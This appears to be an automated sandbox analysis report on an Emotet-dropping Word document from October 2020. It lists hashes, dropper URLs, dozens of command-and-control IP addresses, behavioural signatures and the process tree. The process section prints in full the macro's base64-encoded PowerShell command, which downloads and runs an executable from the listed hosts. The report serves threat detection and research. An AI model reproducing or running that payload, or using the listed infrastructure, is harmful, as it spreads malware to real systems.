Analysis
- max time kernel
143s - max time network
140s - platform
windows10_x64 - resource
win10v200722 - submitted
14/10/2020, 20:38
Static task
static1
Behavioral task
behavioral1
Sample
Anhang 22745 14 Okt. 2020.doc
Resource
win7
General
- Target Anhang 22745 14 Okt. 2020.doc
- Size 133KB
- Sample201014-lzy4xpabwj
- SHA256 528fc947b3e7d629962a6b99fa8364b856082b84b62183731e3e4676b52200b9
- MD5 777483e0348d59fed64acc8802b5458b
- SHA1 32719d17cb47783767bc5a05910cda9f494d81e6
- SHA512 d700e674a13bb9172b50d59b4fcf1ce78ea7b8d99b60427b01473bbd11f6b49ed7e979d682bdb3be271ab8b1b586e4e6d089a24b024f60e8709c7a7293d00ede
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://transfersuvan.com/wp-admin/07HDv9jur/
-
exe.dropper
http://colfarse.com.ar/colfar/A/
-
exe.dropper
http://ruralagricola.com.br/wp-admin/HZ5sy3nL7/
-
exe.dropper
http://vzminternational.com.br/wp-content/bD4sA/
-
exe.dropper
http://intc.solutions/wp-content/ig9N/
-
exe.dropper
http://helionspharmaceutical.com/wp-admin/gO0/
-
exe.dropper
http://uniteddatabase.net/wp-admin/SjcXyYo/
Extracted
-
emotet
-
Epoch3
-
125.200.20.233:80
-
93.186.197.189:7080
-
188.166.220.180:7080
-
192.175.111.217:7080
-
118.243.83.70:80
-
103.80.51.61:8080
-
185.80.172.199:80
-
172.96.190.154:8080
-
116.202.10.123:8080
-
46.105.131.68:8080
-
223.17.215.76:80
-
192.210.217.94:8080
-
190.194.12.132:80
-
115.79.59.157:80
-
190.191.171.72:80
-
24.231.51.190:80
-
203.153.216.178:7080
-
175.103.38.146:80
-
36.91.44.183:80
-
213.165.178.214:80
-
113.203.238.130:80
-
91.83.93.103:443
-
153.229.219.1:443
-
126.126.139.26:443
-
113.193.239.51:443
-
77.74.78.80:443
-
37.187.100.220:7080
-
198.20.228.9:8080
-
190.117.101.56:80
-
115.79.195.246:80
-
73.55.128.120:80
-
185.208.226.142:8080
-
190.96.15.50:443
-
157.7.164.178:8081
-
79.133.6.236:8080
-
116.91.240.96:80
-
103.93.220.182:80
-
50.116.78.109:8080
-
192.241.220.183:8080
-
8.4.9.137:8080
-
91.75.75.46:80
-
192.163.221.191:8080
-
162.144.145.58:8080
-
190.164.135.81:80
-
5.79.70.250:8080
-
46.32.229.152:8080
-
88.247.58.26:80
-
183.77.227.38:80
-
47.154.85.229:80
-
179.5.118.12:80
-
143.95.101.72:8080
-
103.229.73.17:8080
-
109.13.179.195:80
-
195.201.56.70:8080
-
119.92.77.17:80
-
75.127.14.170:8080
-
172.105.78.244:8080
-
139.59.12.63:8080
-
203.56.191.129:8080
-
202.29.237.113:8080
-
185.142.236.163:443
-
178.33.167.120:8080
-
60.125.114.64:443
-
78.186.65.230:80
-
74.208.173.91:8080
-
2.58.16.86:8080
-
139.59.61.215:443
-
190.85.46.52:7080
-
121.117.147.153:443
-
190.192.39.136:80
-
42.200.96.63:80
-
94.212.52.40:80
-
58.27.215.3:8080
-
45.239.204.100:80
-
180.148.4.130:8080
-
120.51.34.254:80
-
113.161.148.81:80
-
54.38.143.245:8080
-
37.46.129.215:8080
-
41.185.29.128:8080
-
37.205.9.252:7080
-
118.33.121.37:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2772 3896 POwersheLL.exe 72 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2160-14-0x00000000007B0000-0x00000000007CF000-memory.dmp emotet behavioral2/memory/2160-15-0x0000000000800000-0x000000000081D000-memory.dmp emotet behavioral2/memory/2372-18-0x0000000000700000-0x000000000071F000-memory.dmp emotet behavioral2/memory/2372-19-0x00000000020D0000-0x00000000020ED000-memory.dmp emotet - Blacklisted process makes network request 3 IoCs
flow pid Process 23 2772 POwersheLL.exe 32 2772 POwersheLL.exe 37 2772 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 2160 U9pruuf.exe 2372 MSAMRNBEncoder.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\cryptbase\MSAMRNBEncoder.exe U9pruuf.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3740 WINWORD.EXE 3740 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2772 POwersheLL.exe 2772 POwersheLL.exe 2772 POwersheLL.exe 2372 MSAMRNBEncoder.exe 2372 MSAMRNBEncoder.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2772 POwersheLL.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 2160 U9pruuf.exe 2372 MSAMRNBEncoder.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2772 wrote to memory of 2160 2772 POwersheLL.exe 80 PID 2772 wrote to memory of 2160 2772 POwersheLL.exe 80 PID 2772 wrote to memory of 2160 2772 POwersheLL.exe 80 PID 2160 wrote to memory of 2372 2160 U9pruuf.exe 81 PID 2160 wrote to memory of 2372 2160 U9pruuf.exe 81 PID 2160 wrote to memory of 2372 2160 U9pruuf.exe 81
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Anhang 22745 14 Okt. 2020.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3740
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABGAHMAZwA2AGgANwA3AD0AWwBjAGgAYQByAF0ANAAyADsAJABKAGcAMwB2AG8ANQA3AD0AKAAoACcAUQBtACcAKwAnAGMAJwApACsAJwBwAGkAJwArACcANQB5ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAGUAUgBQAFIAbwBGAEkATABlAFwAdABjAGUAcQBCAFcAbQBcAEQAYwB4AFcARwBDAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQBgAFIAaQB0AFkAYABwAHIAbwBUAE8AQwBgAG8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxACcAKwAoACcAMgAnACsAJwAsACAAdAAnACkAKwAnAGwAcwAnACsAKAAnADEAMQAsACAAdAAnACsAJwBsAHMAJwApACkAOwAkAEwAawBtAG8AcABvAHoAIAA9ACAAKAAnAFUAOQAnACsAKAAnAHAAJwArACcAcgB1AHUAJwApACsAJwBmACcAKQA7ACQAWQBnAGoAbgAzAGMAeQA9ACgAJwBHAGoAJwArACcAcgAnACsAKAAnAGIAJwArACcAZQBsADMAJwApACkAOwAkAEQAegBkAGcAdQB5AF8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AJwArACcAVAAnACsAJwBjAGUAJwArACcAcQBiAHcAbQB7ADAAfQAnACsAKAAnAEQAYwB4ACcAKwAnAHcAZwAnACkAKwAnAGMAawAnACsAJwB7ADAAfQAnACkAIAAtAGYAWwBDAEgAQQByAF0AOQAyACkAKwAkAEwAawBtAG8AcABvAHoAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABGAHgANQB6AHUAOAA5AD0AKAAnAEsAJwArACgAJwBuADQAJwArACcAagB4ADQAJwApACsAJwBuACcAKQA7ACQATwA1ADgAMwBsAGsAaQA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBjAEwASQBlAG4AdAA7ACQAUABuAG0AaAA2ADIAaAA9ACgAKAAnAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AJwApACsAKAAnAHQAcgAnACsAJwBhAG4AcwAnACsAJwBmACcAKQArACcAZQAnACsAJwByACcAKwAnAHMAdQAnACsAJwB2ACcAKwAoACcAYQBuAC4AYwAnACsAJwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwAC0AYQBkAG0AaQBuACcAKwAnAC8AJwApACsAJwAwACcAKwAnADcAJwArACgAJwBIAEQAJwArACcAdgAnACkAKwAnADkAagAnACsAKAAnAHUAcgAnACsAJwAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AJwArACcAYwBvAGwAZgBhAHIAJwApACsAJwBzACcAKwAoACcAZQAuAGMAJwArACcAbwBtACcAKQArACgAJwAuACcAKwAnAGEAcgAvAGMAbwAnACkAKwAoACcAbAAnACsAJwBmAGEAJwApACsAKAAnAHIALwBBAC8AKgAnACsAJwBoAHQAdABwACcAKwAnADoAJwApACsAKAAnAC8ALwByACcAKwAnAHUAJwApACsAKAAnAHIAYQBsAGEAZwByACcAKwAnAGkAJwApACsAJwBjAG8AJwArACgAJwBsAGEAJwArACcALgBjACcAKQArACcAbwAnACsAKAAnAG0ALgBiACcAKwAnAHIAJwApACsAKAAnAC8AJwArACcAdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACcALwAnACsAKAAnAEgAWgAnACsAJwA1AHMAJwApACsAKAAnAHkAJwArACcAMwBuACcAKQArACgAJwBMACcAKwAnADcAJwArACcALwAqAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoAJwApACsAJwAvAC8AJwArACcAdgB6ACcAKwAoACcAbQBpACcAKwAnAG4AJwApACsAJwB0ACcAKwAoACcAZQByACcAKwAnAG4AYQB0AGkAJwApACsAKAAnAG8AbgAnACsAJwBhAGwAJwApACsAJwAuACcAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALgBiACcAKwAnAHIALwB3AHAALQBjACcAKwAnAG8AJwApACsAKAAnAG4AdAAnACsAJwBlACcAKQArACgAJwBuAHQALwBiACcAKwAnAEQANABzACcAKQArACgAJwBBAC8AJwArACcAKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AaQAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGMALgBzAG8AbAB1ACcAKQArACgAJwB0AGkAJwArACcAbwAnACkAKwAnAG4AJwArACcAcwAnACsAKAAnAC8AdwAnACsAJwBwAC0AYwAnACkAKwAnAG8AbgAnACsAJwB0AGUAJwArACgAJwBuAHQALwAnACsAJwBpAGcAJwApACsAJwA5ACcAKwAoACcATgAnACsAJwAvACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKwAnAC8AaAAnACkAKwAoACcAZQBsACcAKwAnAGkAJwApACsAKAAnAG8AJwArACcAbgBzACcAKQArACgAJwBwAGgAYQByAG0AYQBjACcAKwAnAGUAJwArACcAdQB0ACcAKQArACgAJwBpAGMAJwArACcAYQAnACkAKwAnAGwAJwArACcALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AYQAnACkAKwAoACcAZAAnACsAJwBtAGkAbgAvAGcATwAwAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAHUAJwArACcAbgBpAHQAJwApACsAKAAnAGUAZABkACcAKwAnAGEAdABhACcAKQArACcAYgBhACcAKwAoACcAcwBlAC4AbgBlAHQAJwArACcALwB3AHAAJwApACsAKAAnAC0AYQBkAG0AJwArACcAaQBuACcAKQArACcALwAnACsAJwBTACcAKwAoACcAagBjAFgAJwArACcAeQAnACkAKwAnAFkAbwAnACsAJwAvACcAKQAuACIAcwBQAGAATABJAFQAIgAoACQARgBzAGcANgBoADcANwApADsAJABBADkAdwBpAHYAdAAxAD0AKAAoACcAUwA4ACcAKwAnAGcAJwApACsAJwAwAG4AJwArACcAdwBnACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFcAbABnAGsAOQBwAHoAIABpAG4AIAAkAFAAbgBtAGgANgAyAGgAKQB7AHQAcgB5AHsAJABPADUAOAAzAGwAawBpAC4AIgBEAE8AVwBgAE4ATABgAE8AYQBgAEQAZgBJAGwARQAiACgAJABXAGwAZwBrADkAcAB6ACwAIAAkAEQAegBkAGcAdQB5AF8AKQA7ACQARQBzAGsAOQAyAHEAagA9ACgAJwBGACcAKwAoACcAOQA5AHAAagAnACsAJwBwACcAKQArACcAdAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQARAB6AGQAZwB1AHkAXwApAC4AIgBMAGUAbgBnAGAAVABoACIAIAAtAGcAZQAgADIAOAA3ADUAMAApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABEAHoAZABnAHUAeQBfACkAOwAkAFEAXwBnAHoAdABuAHkAPQAoACgAJwBIAF8AJwArACcAeQAxACcAKQArACgAJwBfACcAKwAnADkANAAnACkAKQA7AGIAcgBlAGEAawA7ACQASQBjAGUAdABxAGQAdgA9ACgAJwBPAF8AJwArACcAeAB2ACcAKwAoACcAawBrACcAKwAnAGsAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAYgAxAHgAXwA0AHgAPQAoACgAJwBQACcAKwAnAGEAcQBxAHcAJwApACsAJwBtAGoAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Users\Admin\Tceqbwm\Dcxwgck\U9pruuf.exe"C:\Users\Admin\Tceqbwm\Dcxwgck\U9pruuf.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2160 -
C:\Windows\SysWOW64\cryptbase\MSAMRNBEncoder.exe"C:\Windows\SysWOW64\cryptbase\MSAMRNBEncoder.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2372
-
-